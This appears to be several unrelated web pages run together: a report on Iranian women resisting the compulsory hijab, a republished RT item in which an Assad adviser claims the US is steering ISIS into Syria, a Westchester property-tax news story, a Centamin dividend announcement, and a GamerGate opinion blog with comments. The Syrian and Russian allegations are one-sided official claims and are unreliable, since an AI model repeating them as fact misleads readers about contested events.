Others have ditched the hijab altogether, a risque move in the Islamic Republic
Three dozen protesters against the dress code have been arrested since 2017
Conservative women’s movement want wearing the hijab to be strictly enforced
A new generation of Iranian women are rejecting religious conservative ideas of how they should dress, with some even throwing off the hijab headscarf.
The simple act of walking has become a display of defiance for one young Iranian woman who often moves in Tehran’s streets without a compulsory headscarf, or hijab.
With every step, she risks harassment or even arrest by Iran’s morality police whose job is to enforce the strict dress code imposed after the 1979 Islamic Revolution.
Young Iranian women relax in the afternoon on steps outside a shopping mall in northern Tehran, showing more of their hair than conservatives approve of
‘I have to confess it is really, really scary,’ the 30-year-old fire-safety consultant said in a WhatsApp audio message, speaking on condition of anonymity for fear of repercussions.
But she is also hopeful, saying she believes the authorities find it increasingly difficult to suppress protests as more women join in.
‘They are running after us, but cannot catch us,’ she said. ‘This is why we believe change is going to be made.’
It’s unclear to what extent the government can enforce hijab compliance amid an economic malaise, including a currency collapse and rising housing prices.
There’s anecdotal evidence that more women are pushing back against the dress code, trying to redefine red lines as they test the response of the ruling Shiite Muslim clergy and their security agencies.
Women take memorial picture while spending an afternoon around the Persian Gulf Martyrs’ Lake in Tehran, one not wearing the hijab or headscarf
An Associated Press reporter spotted about two dozen women in the streets without a hijab over the course of nine days, mainly in well-to-do areas of Tehran – a mall, a lakeside park, a hotel lobby.
Many other women, while stopping short of outright defiance, opted for loosely draped colorful scarves that show as much hair as they cover.
Even in Tehran’s Grand Bazaar, frequented by many traditional women, most female shoppers wore these casual hijabs.
Still, a sizeable minority of women was covered head-to-toe in black robes and tightly pulled headscarves, the so-called chador.
Iranian women take a selfie around of the Persian Gulf Martyrs lake, west of the capital Tehran
The struggle against compulsory headscarves first made headlines in December 2017 when a woman climbed atop a utility box in Tehran’s Revolution Street, waving her hijab on a stick.
More than three dozen protesters have been detained since, including nine who are currently in detention, said Masih Alinejad, an Iranian activist who now lives in New York.
Despite attempts to silence protesters, public debate has intensified, amplified by social media.
Last month, a widely watched online video showed a security agent grab an unveiled teenage girl and violently push her into the back of a police car, prompting widespread criticism.
In this Saturday, July 6, 2019 photo, women walk on the shore of the Persian Gulf Martyrs’ Lake in Tehran, Iran.
President Hassan Rouhani and Iran’s supreme leader, Ayatollah Ali Khamenei, have supported a softer attitude toward women who don’t comply with the official dress code.
However, hard-liners opposed to such easing have become more influential.
They have called for harsh punishment, even lashes, arguing that allowing women to show their hair leads to moral decay and the disintegration of families.
The judiciary recently urged Iranians to inform on women without hijabs by sending photos and videos to designated social media accounts.
‘The more women dress in an openly sexual way, the less we’ll have social peace, while facing a higher crime rate,’ Minoo Aslani, head of the women’s branch of the paramilitary Basij group, told a rally last week.
Reformist Iranian MP Parvaneh Salahshouri said coercion does not work to enforce compulsory headscarves for women
Another gathering was attended by several thousand women in chadors. One held up a sign reading, ‘The voluntary hijab is a plot by the enemy.’
Reformist lawmaker Parvaneh Salahshouri said coercion does not work. ‘What we see is that the morality police have been a failure,’ said Salahshouri, who wears a headscarf out of religious belief.
Changing hijab rules through legislation is unlikely because of the constraints on parliament, she said.
Instead, women should engage in non-violent civil disobedience, Salahshouri said. She cautioned that it’s a slow, difficult road, but that ‘Iranian women have not given up their efforts.’
The hijab controversy goes back to the mid-1930s when police forced women to take off their hijabs, part of a Westernization policy by then-Shah Reza Pahlavi. Under his son and successor, women could choose.
Western apparel was common among the elite.
Iranian women wearing the chador, a tightly-bound head and neck scarf, attend a ceremony in support of the observance of the Islamic dress code for women in Tehran
A 2018 survey by a parliamentary research center indicates that most women wear a casual hijab and only 13 per cent opt for a chador.
Attitudes have changed. In 1980, two-thirds believed women should wear hijabs. Today, fewer than 45 per cent approve of government intervention in the issue, the research said.
Iran has seen waves of anti-government protests, including an outcry after a 2009 election many contended was stolen by hard-liners. Those with economic grievances frequently protest.
Alinejad, the activist, argued the campaign against forced hijabs carries symbolic weight, saying that mandatory headscarves were ‘the symbol that the Iranian government used to take the whole society hostage.’
In recent years, she has posted videos and photos of activists, including of women filming themselves as they walk in the streets without a headscarf. Alinejad said she receives more than 20 images a day, but posts only some.
Iranian women in contrasting styles of dress spend an afternoon around the Persian Gulf Martyrs’ Lake in Tehran
The activists in Iran take risks.
In March, human rights lawyer Nasrin Sotoudeh, who has represented female protesters, was sentenced to 38.5 years in prison, of which she must serve 12, according to her husband.
In April, activists Yasaman Aryani, her mother Monireh Arabshahi and Mojgan Keshavarz were arrested after posting a video showing them without headscarves in the Tehran metro.
In the video, they distributed flowers to female passengers and spoke of a day when women have the freedom to choose.
Amnesty International said on Monday that Iranian authorities have used incommunicado detentions, prolonged solitary confinement and threats against family members to coerce detained activists to retract their opposition to forced veiling in video-taped ‘confessions.’
The group said it had detected such a pattern in six cases since April.
Two Iranian women take a selfie outside a shopping mall in northern Tehran.
Some activists maneuver carefully.
The 30-year-old fire-safety consultant said she tries to avoid policemen when she walks the streets without a hijab.
She said she grudgingly complies with the dress code when she delivers lectures or sings in a mixed choir – activities she would otherwise be barred from.
At the high-end Palladium Mall in northern Tehran, several shoppers casually ignored a sign reminding customers that the hijab is mandatory. One woman only pulled up her scarf, which was draped around her shoulders, when she stepped into an elevator and found herself next to a security guard.
Nearby, 20-year-old Paniz Masoumi sat on the stone steps of a plaza. She had dyed some of her hair blue, but kept that funky patch hidden under a loose scarf.
She said police recently impounded her car for two weeks, fining her amid claims that a traffic camera snapped her with a below-standard hijab.
If hijabs were voluntary, she’d throw off hers, Masoumi said. But for now, ‘I am not looking for trouble.’
An Iranian woman inspects headscarves of a vendor on a sidewalk in northern Tehran
A woman tests a crown for her wedding ceremony at a market in downtown Tehran, Iran
A head-to-toe veiled woman walks in the courtyard of the shrine of Saint Saleh in northern Tehran, Iran
Awoman inspects a headscarf at a market in downtown Tehran, Iran.
Mannequins with headscarves are placed at a market in downtown Tehran, Iran
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HomeNewsMiddle EastAssad Aide: US May ‘Navigate & Direct’ ISIS From Mosul Into Syria
Assad Aide: US May ‘Navigate & Direct’ ISIS From Mosul Into Syria
October 29, 2016 Niamh Harris Middle East, News, US 0
According to President Assad’s media adviser, the way the US-led coalition is conducting its operation in Mosul suggests that Washington may be planning to “navigate” ISIS terrorists into Syria in accordance with its longstanding strategy for the region.
Islamic State terrorists fleeing from Mosul into Syria would become a “huge danger to our sovereignty, to our country,” Dr. Bouthaina Shaaban told RT adding that “Russia and Syria are looking at this issue extremely seriously. We’re not going to sit and watch… The way they encircle Mosul shows they would like these terrorists to move into to Syria…”
RT reports:
“They’re navigating terrorism from one place to another, limiting terrorism in one place, directing it to another place. That’s the absolute truth of what is happening in our region,” she explained.
Western states only “speak about fighting terrorism” and in meantime supply so-called “moderates” who eagerly share Western aid with not so “moderate” militants, according to the aide.
“Unfortunately, Western partners speak about fighting terrorism, but they honestly do not. Quite the contrary, what they do on the ground is to supply weapons and armaments to terrorists whom they call ‘moderate’, while we know that on the ground there’s no ‘moderate terrorism.’ They all exchange weapons and armaments on the ground. And they all constitute danger not only to Syria, but to the region and to mankind as well,” Shaaban said.
“We see Western countries announcing that they will be supporting what they call ‘Syrian moderates’. There are no ‘Syrian moderates’, they are carrying on butchering people. Those are not ‘moderates’ for sure.”
A never-ending storm in Western media, which are trying to diminish all the counter-terrorism efforts of Damascus and its allies, is a deliberate campaign that started at the very beginning of the Syrian crisis, Shaaban said. It was always “absolutely incredible, full of lies and falsifications” and totally “irrelevant to reality.”
“One of the great challenges we’re facing in the 21st century is the Western corporate media, that is no longer a media that depends on investigation, or cares about its credibility, or cares about the truth. Give me the names of Western journalists who are on the ground on Syria and who are actually looking at what is happening and reporting to Western people…”
The attempts to pin the alleged airstrike on an Idlib school on Damascus or Moscow is one of the most recent examples of that campaign. According to the Russian Defense Ministry, which debunked the Idlib “hoax,” the latest smear campaign is waged with a purpose to diverse the attention of international community away from the “war crimes committed by the US-led coalition” during the Mosul offensive.
The US-led coalition and the US itself proved to be very untrustworthy partners in battling terrorism, unable to live up to their pledges, she said.
“Russia signed an agreement with the United States and the United States was not able to implement its own agreement… The Pentagon prevented the White House from implementing an agreement.”
Following Friday’s meeting between Russian, Iranian and Syrian diplomats, Shaaban said Damascus is interested in attracting additional “credible” partners to the alliance, in order to battle the “most challenging” issue of our age.
“We’re in an alliance against terrorism, we’re in a war against terrorism, we have so many joint interests among our countries. … [The meeting was] focused on what is the best way to try and gather more regional and international forces to truly and honestly engage in a battle against terrorism, as we all understand that terrorism is the most challenging issue for the humanity in the 21st century,” Assad’s adviser said.
Damascus believes more countries will join in the counter-terrorism alliance of Russia, Iran and Syria, Shaaban said.
“I’m sure this nucleus of alliance is going to attract more countries. Now, if you think of India, or Brazil, or South Africa, or Algeria, or Tunisia, naturally you believe that there’s no problem that these countries probably in the future joining… I’m sure there are many countries who would like to be more active, China for example, who should be more active in fighting terrorism.”
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Westchester Undisputed King Of U.S. Property Taxes
For 3rd Straight Year Affluent NYC Suburb Tops Most Taxed ListBy Lou Young September 29, 2010 at 5:58 pm
Filed Under:Lou Young, Property taxes, Rob Astorino, Westchester County
Westchester County residents are tired of having the highest average property taxes in the country. (Photo: CBS 2)
WHITE PLAINS, N.Y. (CBS 2) — New national statistics reveal that the top 10 property tax counties in America are right here in our area. But there is only one No. 1 and the distinction goes to New York City’s northern suburb.
It’s beautiful but expensive. For the third year in a row Westchester County has chalked up the highest property taxes in the United States. People here want that to end.
“It’s sad because none of our children can afford to live in this area. They have to go upstate a little bit, because of the taxes, yes,” Jenny Lubrisciano of Mamaroneck told CBS 2’s Lou Young.
Westchester residents pay almost 12 percent of their annual income to property taxes, for an average bill of $9,044. Many pay more.
“I’ll be moving out of the state. I can’t afford it anymore,” said Hugh Duffy of Yorktown Heights, adding he pays roughly $14,000 a year.
“About $25,000 in property taxes, and a very close friend of mine in Pleasantville pays $30,000,” added Paula Brunacelli of Thornwood.
But Brunacelli was playing golf Wednesday on one of the many county courses. Westchester County has a $2 billion budget covering everything from parks to police, and a $166 million deficit.
If taxes are to come down, something will have to go.
“We are making some structural changes to our budgets to the way we thing to everything that we do,” County Executive Rob Astorino said.
Like perhaps merging police forces to save money. The county made a deal with the Town of Ossining Tuesday night to take over its police force, getting needed extra cops and the new precinct house and allowing the town to save $1 million annually in the process. The town supervisor said joining forces will save money for everyone.
“I think we’re all looking at the burden of our property taxes, the burden of providing excellent services and a high quality of life in local governments. But what can we really afford?” Catherine Borgia said.
It’s expected the Ossining police takeover could be the first of many deals the county makes with the 43 various police agencies around Westchester. The very structure of government is changing as tax payers signal that they may have reached their limit.
Westchester County currently employs 5,800 people. It’s expected the new budget cut included a substantial number of layoffs.
joe Stuart says:
keep paying cops who should be making 40-60k max a year are making 90-130k
and the same for teachers here….
and of course u will have to pay that much in taxes then!
Unions for Public Sevant positions should NOT exist, which is why they make double the money that merrits thier position!
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N.Y. Lawmakers Vote To Let Nursing Mothers Delay Jury DutyUnder the proposal, women who are breastfeeding could use a doctor’s note to postpone their service up to two years.
New York State Budget: Congestion Pricing Coming To ManhattanIt has worked in cities like London and Singapore and state lawmakers are hoping congestion pricing will decrease traffic in New York City, too.
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New York City News
Centamin Corporate Update And Dividend Declaration
14 Jan 2020, 22:13 GMT+10
THIS ANNOUNCEMENT CONTAINS INSIDE INFORMATION FOR THE PURPOSES OF ARTICLE 7 OF THE MARKET ABUSE REGULATION (EU) 596/2014
NOT FOR RELEASE, PUBLICATION OR DISTRIBUTION, DIRECTLY OR INDIRECTLY (IN WHOLE OR IN PART) IN, INTO OR FROM ANY JURISDICTION WHERE TO DO SO WOULD CONSTITUTE A VIOLATION OF THE RELEVANT LAWS OF SUCH JURISDICTION
·Centamin has strengthened its leadership team with recent Board and senior management changes
·Strong focus on operational improvement driving positive financial performance - Q4 production figures represent one of the strongest quarterly results from Sukari
·Centamin proposes a final dividend of 6.0 US cents per share[1], bringing total proposed dividends for 2019 to 10.0 US cents per share, representing US$115.6 million in cash returns to shareholders
·Strong balance sheet with no debt, and cash and liquid assets of US$348.9 million as at 31 December 2019[2],[3]
·Following a comprehensive and reciprocal due diligence process, the Board has unanimously concluded that the possible offer from Endeavour Mining Corporation ('Endeavour') materially undervalued Centamin and its prospects. The Board notes that Endeavour has withdrawn its possible offer.
PERTH, AUSTRALIA / ACCESSWIRE / January 14, 2020 / Jim Rutherford, Deputy Non-Executive Chairman commented:
'Centamin has taken significant steps to reshape its leadership team to improve operational performance. Our robust operating performance in Q4 2019 and the work this new team has undertaken in a short period of time gives us great confidence in our direction, underlined by an increased final dividend for 2019.
After a period of constructive engagement, Centamin and Endeavour have not reached agreement on value and have therefore terminated discussions. We are highly confident in our growth strategy, which includes but is not limited to value-accretive diversification. The Company continues to assess opportunities and we look forward to continued proactive engagement with our stakeholders.'
Strategic and Operational Progress
The Board is highly confident in Centamin's strategy of maximising the value of its asset base and promoting further growth both organically and through accretive mergers and acquisitions which create value for shareholders. This strategy is supported by:
· The Sukari Gold Mine ('Sukari') is a world-class asset with a long-life orebody and has a strong track record of resource conversion to reserves. The Company's management continues to undertake considerable exploration to extend its 11.0 million ounce resource base[4], maximising the full potential across the 160km2 tenement area. Centamin's West Africa projects offer further potential diversification and growth with the Doropo, ABC and Batie West projects having combined Measured and Indicated resources of over 5 million ounces[5].
· The recently announced Board and senior management changes represent further steps in reshaping and strengthening the Company's leadership team, with a focus on operational performance and driving value creation opportunities. In Q4 2019, Ross Jerrard assumed the role of interim CEO; while Jim Rutherford joined the Board as Deputy Non-Executive Chairman. Additionally, Centamin has made a number of changes to senior operational personnel at Sukari and in senior corporate positions, including the appointment of Jeremy Langford as Chief Operating Officer in Q2 2019 and more recently the appointment of the Sukari General Manager, Operations Director and numerous heads of department. The external recruitment process for a permanent CEO is progressing well with a shortlist of candidates being interviewed by the Nomination Committee.
· The new operational leadership team has initiated a comprehensive mine review at Sukari to identify further opportunities to maximise value. Initiatives in progress include mining optimisation, implementing processing cost control opportunities, and design approval of a second tailings facility.
· The changes in operational leadership are beginning to be reflected in improved operating performance at Sukari. On 9 January 2020, the Company announced preliminary production results from Sukari for the three months ended 31 December 2019 ('Q4') of 148,387 ounces (a 51% improvement on the previous quarter) resulting in full year 2019 production of 480,529 ounces.
· The Q4 production result represents one of the strongest quarterly results from Sukari and demonstrates the operational improvement made to date. The Board's expectation for 2020 production is unchanged at 510,000-540,000 ounces. Centamin will provide a further update in its Q4 2019 release on 30 January 2020.
Final Dividend
Reflecting improved operating performance, the Board is today recommending a final dividend for the year ended 31 December 2019 of 6.0 US cents per share (US$69.4 million), bringing the proposed total dividend for 2019 to 10.0 US cents per share (US$115.6 million) and the cumulative dividend returned to shareholders since 2014 to US$568 million[6]. This dividend will be subject to shareholder approval at the 2020 Annual General Meeting, which will be held prior to the ex-div date and record date.
The amount to be returned has been determined by the Board based on the dividend policy, current financial strength of the Company, confidence in meaningful future cash flow generation and a review of near and medium-term capital allocation.
Centamin continues to maintain a robust financial strategy, with cash and liquid assets of US$348.9 million as at 31 December 2019[2],[3] (increased from US$289 million as at 30 September 2019[7]), with no debt, hedging or streaming in place. This strong financial discipline provides the flexibility to drive long term organic growth and pursue strategic M&A that meets our corporate strategy. The Board fully recognises the value of diversification and scale, and will continue to actively explore value-accretive strategic opportunities which are in the interests of its stakeholders.
Termination of Discussions with Endeavour
On 23 December 2019, Centamin sought approval from the Panel on Takeovers and Mergers to extend the deadline for Endeavour to either announce a firm intention to make an offer for Centamin under Rule 2.7 of the City Code on Takeovers and Mergers or announce that it did not intend to make an offer for Centamin by 5.00pm GMT on 14 January 2020 (the 'PUSU Deadline').
In the period since the PUSU Deadline extension, both parties have completed a thorough and extensive value-focused due diligence exercise. This included reciprocal Q&A, expert sessions and in-person meetings involving board members and senior management from both companies.
Notwithstanding the committed engagement from both sides, the Board has unanimously concluded that the possible offer materially undervalued Centamin and its prospects. The Board also considered that a further extension of the PUSU Deadline would not result in any realistic prospect of an offer that would be in the best interests of Centamin stakeholders as a whole. The Board notes that Endeavour has withdrawn its possible offer.
The person responsible for the release of this announcement on behalf of Centamin is Josef El-Raghy, Chairman.
For more information, please visit the website www.centamin.com or contact:
Centamin plc
Ross Jerrard, Chief Executive Officer
Alexandra Carse, Investor Relations
Alexandra.carse@centamin.je
Bobby Morse
+ 44 (0)20 7466 5000 Centamin@buchanan.uk.com
George Close-Brooks
Geoff Iles
Joshua Maguire
Charles Pitt Ford
Gary Mattan
Tom Rider
Pascal Lussier-Duquette
Neil Elliot
Dividend Timetable
The dates set out below are based on the Directors' current expectations and may be subject to change. If any of the dates should change, the revised dates will be announced by press release and will be available at www.centamin.com.
London Stock Exchange and Toronto Stock Exchange (T+2)
Ex-Div Date: 21 May 2020
Record Date: 22 May 2020
Last Date For Receipt Of Currency Elections: 26 May 2020
Pay Date: 12 June 2020
The final dividend will be paid in US Dollars ('USD') on the record date, with an option for shareholders to elect to receive the dividend in Pounds Sterling ('GBP'). Please visit the Centamin website: www.centamin.com for further dividend information.
As a Jersey incorporated company, there is no requirement for Centamin plc to make any withholding or deduction on account of Jersey tax in respect of the dividend.
Merrill Lynch International ('BofA Securities'), a subsidiary of Bank of America Corporation, which is authorised by the Prudential Regulation Authority and regulated by the Financial Conduct Authority and the Prudential Regulation Authority in the United Kingdom, is acting exclusively for Centamin in connection with the matters set out in this announcement and for no one else and will not be responsible to anyone other than Centamin for providing the protections afforded to its clients or for providing advice in relation to the subject matter of this announcement or any other matters referred to in this announcement.
BMO Capital Markets Limited ('BMO'), which is authorised and regulated in the United Kingdom by the Financial Conduct Authority, is acting exclusively for Centamin and no one else in connection with the above and will not be responsible to anyone other than Centamin for providing the protections offered to clients of BMO nor for providing advice in relation to the subject matter of this announcement or any other matters referred to in this announcement.
Information of a scientific or technical nature in this Announcement pertaining to the Sukari Gold Project mineral reserve and resource estimates is based on information of a scientific and technical nature that was included in the Company's annual financial statements for the year ended December 31, 2018 which is available under Centamin's profile on SEDAR at www.sedar.com. The underlying information was prepared by and under the supervision of Norman Bailie, Centamin's Qualified Person(s) and independent Qualified Person(s) as below:
·Open pit mineral reserve Quinton de Klerk of Cube Consulting Pty Ltd;
·Underground mineral reserve Adrian Ralph of Cube Consulting Pty Ltd;
·Mineral resource (underground) Mark Zammit of Cube Consulting Pty Ltd;
·Mineral resource Arnold van der Heydyn of H&S Consultants Pty Ltd; and
·Resource database and economic assumptions for open-pit resource Norman Bailie of Centamin plc.
Please refer to the technical report entitled 'Mineral Resource and Reserve Estimate for the Sukari Gold Project, Egypt' effective on 30 June 2015 and issued on 23 October 2015 and filed on SEDAR at www.sedar.com, for further discussion of the extent to which the estimate of mineral resources/reserves may be materially affected by any known environmental, permitting, legal, title, taxation, sociopolitical, or other relevant issues as well as details of the qualified persons and quality control.
Information of a scientific or technical nature in this announcement pertaining to the ABC Project mineral resource estimates is based on information of a scientific and technical nature that was included in the Company's annual financial statements for the year ended December 31, 2018 which is available under the Company's profile on SEDAR at www.sedar.com. The underlying information was compiled by the Company's geologists, Pierrick Couderc and Fidele Kakou, under the supervision of the Company's Qualified Person, Norman Baillie, Group Exploration Manager, and independent Qualified Person, Rupert Osborn of H&S Consultants Pty Ltd.
Information of a scientific or technical nature in this announcement pertaining to the Batie West Project mineral resource estimates is based on information of a scientific and technical nature that was included in the Company's annual financial statements for the year ended December 31, 2018 which is available under the Company's profile on SEDAR at www.sedar.com.The underlying information was compiled by Ampella Mining Limited's Supervising Geologist Adrian Woolford, under the supervision of the Ampella Mining Limited's Qualified Person, Dean Smith, Database Manager, and independent Qualified Person, Don Maclean of Ravensgate Mining Industry Consultants. Please refer to the technical report entitled 'NI 43-101 Technical Report on the Konkera Gold Project for Ampella Mining Limited' effective on 26 March 2014 and issued on 31 March 2014 and filed under the Company's profile on SEDAR at www.sedar.com for further information pertaining to the Batie West Project.
Information of a scientific or technical nature in this announcement pertaining to the Doropo Project mineral resource estimates is based on information of a scientific and technical nature that was included in the Company's quarterly report for the three months ended 30 September 2019 which is available under Centamin's profile on SEDAR at www.sedar.com. The underlying information was compiled by the Company's geologists, Pierrick Couderc and Fidele Kakou, under the supervision of the Company's Qualified Person, Norman Baillie, Group Exploration Manager, and independent Qualified Person, Rupert Osborn of H&S Consultants Pty Ltd.
A Qualified Person is as defined by the National Instrument 43-101 - Standards of Disclosure For Mineral Projects of the Canadian Securities Administrators ('NI 43-101'). Named Qualified Persons have verified the data disclosed, including sampling, analytical, and test data underlying the information or opinions contained in this announcement in accordance with standards appropriate to their qualifications.
All Mineral Reserves and Mineral Resources for the Company have been estimated in accordance with the standards of the Canadian Institute of Mining, Metallurgy and Petroleum and NI 43-101. All Mineral Resources are reported exclusive of Mineral Reserves. Mineral Resources that are not Mineral Reserves do not have demonstrated economic viability.
This announcement (including information incorporated by reference) contains 'forward-looking statements' and 'forward-looking information' under applicable securities laws (collectively, 'forward-looking statements'), including statements relating to the possible offer. Generally, these forward-looking statements can be identified by the use of forward-looking terminology such as 'believes', 'expects', 'expected', 'budgeted', 'forecasts' and 'anticipates'. Although Centamin believes that the expectations reflected in such forward-looking statements are reasonable, Centamin can give no assurance that such expectations will prove to be correct. Forward-looking statements are prospective in nature and are not based on historical facts, but rather on current expectations and projections of the management of Centamin about future events, and are therefore subject to known and unknown risks and uncertainties which could cause actual results to differ materially from the future results expressed or implied by the forward-looking statements. There can be no assurance that forward-looking statements will prove to be accurate, as actual results and future events could differ materially from those anticipated in such information or statements. Forward-looking statements contained herein are made as of the date of this announcement and the Company disclaims any obligation to update any forward-looking statement, whether as a result of new information, future events or results or otherwise. Accordingly, readers should not place undue reliance on forward-looking statements.
[1] Subject to shareholder approval. Total issued share capital of 1,155,955,384 ordinary shares as at 31 December 2019.
[2] Cash and cash equivalents, bullion on hand, gold sales receivables and financial assets at fair value through other comprehensive income.
[3] Based on unaudited values.
[4] As per Centamin 2018 Annual Report. Comprises 8.024 million ounces of Measured resources and 2.976 million ounces of Indicated resources.
[5] Represents Centamin's West Africa projects with 0.26 million ounces of Measured resources and 4.75 million ounces of Indicated resources.
[6] Includes the proposed 2019 final dividend of 6.0 US cents per share.
[7] Centamin Q3 2019 Report Presentation.
SOURCE: Centamin PLC
View source version on accesswire.com:
https://www.accesswire.com/572998/Centamin-Corporate-Update-And-Dividend-Declaration
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Paula Wright
DARWINIAN GENDER STUIDES
October 23, 2014 April 28, 2015
#GamerGate: The Players and the Played
The #GamerGate controversy reached a new high (or low depending on your perspective) recently when one of its main protagonists, the radical feminist and cultural critic, Anita Sarkeesian, was featured on the front page of the New York Times. Ironically, in view of the focus of her criticism about passive female characterization in video games, she herself was cast as the “damsel in distress”, under threat from active male protagonists.
Ostensibly, headlines like this are a direct validation of her work. Sarkeesian asserts that video games directly contribute to a culture of gendered violence in real life and – hey presto – there it is!
But are radical feminist claims about games promoting violent norms really correct? Studies of violence in video games say no. Last year the U.S. Supreme Court evaluated the evidence and came to a disappointing conclusion for people, like Sarkeesian, who are fond of using ideological rhetoric to win hearts over minds before all the evidence is in.
It appears that video games, even violent video games, have more positive effects on people than negative. Where negative effects were noted, these were with people who had already scored highly on tests showing a predisposition to anti-social behaviour. But, as the following graph shows, the case for the corruption of society by video games, is weak.
*What makes people angry with Sarkeesian (anger is allowed, abuse is not), is that she is unaccountable. Her videos on sexism and toxic masculinity are used as educational aids in schools, yet they are based on ideology not evidence. Sarkeesian has no academic credentials. She has legitimate critics, I am one of them, but she refuses to engage in open debate and instead directs attention to the abusive minority. That’s cowardly and manipulative. There is no logic that dictates that women are any less corruptible by power than men. To suggest otherwise, in fact, would be sexist.
This is not to excuse threats or suggest that such harassment isn’t traumatic. What reasonable person would not condemn the criminal harassment of women, (or men), in any industry? That is surely moot. What is less moot, is who is actually responsible for these threats.
Sarkeesian is adamant that the culprits are the supporters of #GamerGate. Yet the evidence points to third-party mischief-makers and anonymous trolls being equally vicious to both sides. Journalists are disseminating the radical feminist narrative uncritically, but they themselves are implicated in the scandal, so their impartiality cannot be taken for granted. The involvement of the notorious hacking/trolling group GNAA (who are experts at tricking the media into panic-mode) should also send alarm bells ringing.
Absent further evidence, claims about the identity of the anonymous trolls are pure speculation. There have been no arrests. People on either side of the barricades have been subject to abuse, although coverage has focused mostly on one, photogenic side. In a story about games and players, it’s difficult to discern just who is the player and who is the played.
Who are the most likely suspects? GNAA aside, in every 100 people there will be one bona-fide psychopath. Twitter alone has over 200 million active users per month! There are estimated to be around one billion “gamers” worldwide. That certainly leaves room for a sizeable minority of psychopaths who would jollily send prominent women obscene emails. I’m inclined to think it’s these kinds of people who are responsible for the threats, and a recent study of online trolls supports this. A lazy trend in the media towards favouring the narrative of lunatic minorities on Twitter to draw sweeping conclusions about gender and culture is not a healthy one.
But I spy another trend. I am a gamer, but I am also a researcher in evidence based gender studies. I see this squabble not as about games or journalism but an expression of a wider battle that has been spilling out into popular culture for a few years now. A battle that was surrendered, and whose unintended consequences are now emerging. When Sarkeesian made the front page of the NYT this battle also went mainstream, yet very few people are aware of it. It is the battle for feminism.
Radical feminism has already won this battle. It is documented in the denouncement of the woman who launched the second wave, Betty Friedan, as an anti-feminist, by Susan Faludi in Backlash. Many equity feminists dropped “feminist” and took up “egalitarian” instead. The unforeseen consequence of this was a vacuum of authority that allowed radicals to claim the “feminist” brand. Now people who attempt to challenge radical feminism are, like Friedan, labelled anti-feminist, as if “feminist” and “woman” were synonyms. They aren’t.
The dictionary definition of “feminist” is in urgent need of revision!
Radicalism is the orthodoxy in feminism today. Radfem mater familiar Germaine Greer went so far as to announce this summer, “We’ve gone as far as we can with this equality nonsense. It was always a fraud!”
The radical feminist script; about men and masculinity, female passivity, objectification and patriarchy, was written in the 1960s and 70s, but you can still hear it echoing down the generations in the sermons of people like Sarkeesian, who has a long and troubled relationship with “straight-male” sexuality.
Radfem questions are always rhetorical. The answer to, “Is it sexist?” is always, “Yes.” They see sexism and misogyny everywhere, the way Abigail Williams saw Goody Proctor with the devil.
In the face of increasing tolerance of sexual expression, radical feminism has refused to adapt. More worryingly, it has refused to listen to the voices of dissenting women. This raises an important question: Does feminism exist to support women, or do women exist to support feminism? Unlike radical feminist questions, this one is not rhetorical.
So when radical feminists protest that gamers are “anti-feminist”, remember this does not mean “anti-woman”. In the modern context, it is more likely to mean “pro-equality”.
Radical feminism is a separatist movement, not a conciliatory one. One which “Bathes in Male Tears” while David Haines and other members of an accursed class of “straight, white males” pay an unimaginably terrible price for the freedom radical feminists take for granted. Radical feminism is about building walls between the sexes. Egalitarianism is about building bridges.
In an interview before she died, Friedan wondered, “if women are alienated from the women’s movement because it is antagonistic toward men, I understand that…Maybe the women’s movement has to be superseded by a larger political movement.” That movement is egalitarianism.
#Gamergate is an egalitarian push back against a modern feminist doctrine which explicitly wants to suppress “problematic” elements of human nature. History is littered with the damning results of such attempts. But history also shows that humans – men and women – fight back. Against the last wave of radical feminism comes a rising tsunami of egalitarianism.
*edit 25/10/14
Posted in Egalitarianism, Equity feminism, GamerGate, gender, politics, Radical feminism, Video GamesTagged #GamerGate, Anita Sarkeesian, egalitarianism, heterosexuality, human nature, psychology., radical feminism, sexism, video gamesBy Paula Wright146 Comments
146 thoughts on “#GamerGate: The Players and the Played”
Pingback: Why should I care about #GamerGate — I’m not even interested in computer games? | ORGANIZING CREATIVITY
Pingback: Links van 24 oktober 2014 tot 27 oktober 2014 - Michel Vuijlsteke's weblog — Michel Vuijlsteke's Weblog
TBlakely says:
The feminist mantra that all men are rapists is about as useful and accurate as the rapper’s mantra that all women are whores.
Pingback: #Gamergate | Transterrestrial Musings
Mike Antley says:
As far as Anita’s comments on women being objectified only in gaming, her examples are baffling.
She condemns a bit on a game where you are trying to break up a sex trafficking ring. The women are shown on stage as sexual objects — which, logically, you would expect to see in a human trafficking ring. The traffickers wouldn’t treat them with respect. If they were, then stopping that treatment would be illogical.
She mentions Hitman as a game where you can kill women. Which is true. You can kill anybody in that game. You are also penalized in your final score if you kill anybody who is innocent. So, can you kill women? Yes. You can also kill random men. It will also insure that your performance is rated incredibly poorly by the game itself. The game doesn’t remotely CHAMPION misogyny. It is open world and allows you to do what you want, but pretty clearly leads you to what the “right” thing to do is.
Are women objectified in games? In some, yes. Women in combat heavy games due to tend to wear “insufficient” armor. I can get that. Croft being small and nubile? You’d expect that in somebody who is jumping and flipping around tombs all of the time. You’d also expect small and somewhat tight clothing because baggy clothes would make a lot of what her character does nigh impossible. Yes, she was a “woman” because the developer would rather look at a woman’s butt than a man’s, but her design did make some logical sense and still does.
If Anita actually addressed criticism, her arguments would fall apart. I’ve seen people state that gamers are “obsessed” with her because they will make long videos taking her opinions apart. I would ask what else could they do? She won’t communicate with anybody not fervently on her side. If one thinks she is horribly mistaken, then YouTube is one of the better options to express one’s views. As it stands, she is a modern-day Jack Thompson, who the gaming journos had few qualms hating and wishing harm upon regularly.
I’m happily married and my wife HATES feminism because she associates it with what can generously be described as misandry. She knows I adore and respect her and she knows our sons adore and respect her. Men aren’t the enemy and a lot of things that new wave feminists fight for (such as the recent concerns over colleges handling of rape claims) seem designed to basically leave men with no ability to defend themselves without ruining their lives.
A good game is a good game. If the protagonist is a transgendered woman, fine. But a game where that is a big selling point, odds are, is not going to be terribly good. I avoid overly political games currently (which eliminates a frighteningly large number of indie titles) and the behavior of a lot of developers in this Gamergate thing has made me swear off their games because of their behavior. Heck, Anthony Burch seemed determined to screw up Borderlands with his very political dialogue in the most recent game.
KingDrunkee says:
Great write-up, and I agree with most of your comment. I just want to make one correction. The original Lara Croft was actually 6 feet tall, or 5’11 at the least. It’s what used to define her as a character, domineering & bigger than the average sized man. it’s hilarious how her design is only noticed for her huge mammies, when everything about Lara Croft’s body & muscular composition was huge, even by male standards.
